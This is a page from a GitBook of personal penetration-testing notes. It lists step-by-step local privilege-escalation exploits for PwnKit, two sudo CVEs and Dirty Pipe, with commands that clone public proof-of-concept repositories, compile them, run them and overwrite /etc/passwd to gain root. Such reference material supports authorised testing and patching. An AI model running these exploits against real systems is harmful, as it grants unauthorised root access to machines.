πŸ““
Sfoffo - Pentesting Notes
View on GitHub
  • 🏠/home/sfoffo/.pt-notes
  • 🏳️Contributions
    • 2024 Contributions
      • CVE-2024-42845
      • CVE-2024-41819
      • CVE-2024-41943
      • CVE-2024-50344
  • πŸ€Support this Project
  • πŸ“‚Active Directory
    • Initial Access
    • Internal Enumeration & Lateral Movement
    • Privilege Escalation to Domain Admin using Known Exploits
    • Domain Trusts
  • 🐧Linux Privilege Escalation
    • Enumerating Attack Vectors
    • Privileged Groups
    • Environment Variables Abuse
    • Capabilities Abuse
    • Programs, Jobs and Services
    • Miscellaneous Techniques
    • Recent CVEs
  • πŸͺŸWindows Privilege Escalation
    • Enumerating Attack Vectors
    • Excessive User Rights Abuse
    • Built-in Groups Abuse
    • File System ACLs
    • Services Hijacking
    • User Account Control (UAC) Bypass
    • Living off the Land
  • πŸ›Bug Bounty Hunting
    • Bug Bounty Tools
  • πŸ•ΈοΈWeb Applications
    • Web Attacks
      • Cross Site Scripting (XSS)
      • SQL Injection (SQLi)
      • File Upload Vulnerabilities
      • Insecure Direct Object References (IDOR)
      • OS Command Injection
      • Local File Inclusion (LFI)
      • Remote File Inclusion (RFI)
      • XML External Entities (XXE)
      • HTTP Verb Tampering
    • Web Technologies
      • Tomcat
      • CGI Applications
      • WordPress
      • WebDav
      • Microsoft IIS
      • SAP Netweaver
      • Joomla
      • Drupal
      • Gitlab
      • Jenkins
      • osTicket
      • PRTG Network Monitor
      • Splunk
    • Fuzzing
  • πŸ”Information Gathering
  • πŸ“œProtocols and Services
    • DNS
    • FTP
    • IMAP
    • IPMI
    • MSSQL
    • MySQL
    • NFS
    • Oracle TNS
    • POP3
    • RDP
    • SMB
    • SMTP
    • SNMP
  • πŸ‘ΎUtilities, Scripts and Payloads
    • Shells and Payloads
    • Metasploit Framework
    • File Transfers
    • Pivoting, Tunneling, Port Forwarding
    • Password Attacks
Powered by GitBook
On this page
  • PWNKit - CVE-2021-4034
  • Weak Sudo Versions - CVE-2021-3156
  • Weak Sudo Version (prior to 1.8.28) - CVE-2019-14287
  • Dirty Pipe - CVE-2022-0847

Was this helpful?

Edit on GitHub
  1. Linux Privilege Escalation

Recent CVEs

Last updated 1 year ago

Was this helpful?

PWNKit - CVE-2021-4034

  • Reference:

  • Affected Versions: All Polkit versions from 2009 onwards are vulnerable

  • Exploit PoC:

    1. git clone https://github.com/arthepsy/CVE-2021-4034.git

    2. gcc cve-2021-4034-poc.c -o pwnkit

    3. ./pwnkit

  • Mitigation:

    1. Patch polkit

    2. If no patches are available for your system, remove the SUID bit from the pkexec binary


Weak Sudo Versions - CVE-2021-3156

  • Reference:

  • Affected Versions: 1.8.31 - Ubuntu 20.04 1.8.27 - Debian 10 1.9.2 - Fedora 33 and others

  • Exploit PoC:

    1. git clone https://github.com/blasty/CVE-2021-3156

    2. cd git-folder

    3. make

    4. Check target OS version: cat /etc/lsb-release

    5. Check available exploit targets: ./sudo-hax-me-a-sandwich

    6. Exploit the target OS: ./sudo-hax-me-a-sandwich target-number


Weak Sudo Version (prior to 1.8.28) - CVE-2019-14287

  • Affected Versions: sudo versions prior to 1.8.28

  • Exploit Prerequisites:

    1. The current user needs to be part of the sudoers group

    2. The current user needs to be able to run any command as (ALL)

  • Exploit PoC:

    1. Check sudo permissions: sudo -l

    2. Suppose the output of the previous command is ALL=(ALL) /usr/bin/id

    3. Run the command id as root: sudo -u#-1 id


Dirty Pipe - CVE-2022-0847

  • Affected Versions: All kernels from version 5.8 to 5.17

  • Exploit Prerequisites: This vulnerability allows a user to write to arbitrary files as long as he has read access to these files

  • Exploit PoC:

    1. Check kernel version: uname -r

    2. git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git

    3. cd git-folder

    4. bash compile.sh

    5. [Option1] Modify the /etc/passwd file and get a shell: ./exploit-1

    6. [Option2] Identify a SUID binary using find / -perm -4000 and run ./exploit-2 to leverage that binary file

Reference:

Reference:

🐧
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034
https://nvd.nist.gov/vuln/detail/cve-2021-3156
https://www.sudo.ws/security/advisories/minus_1_uid/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847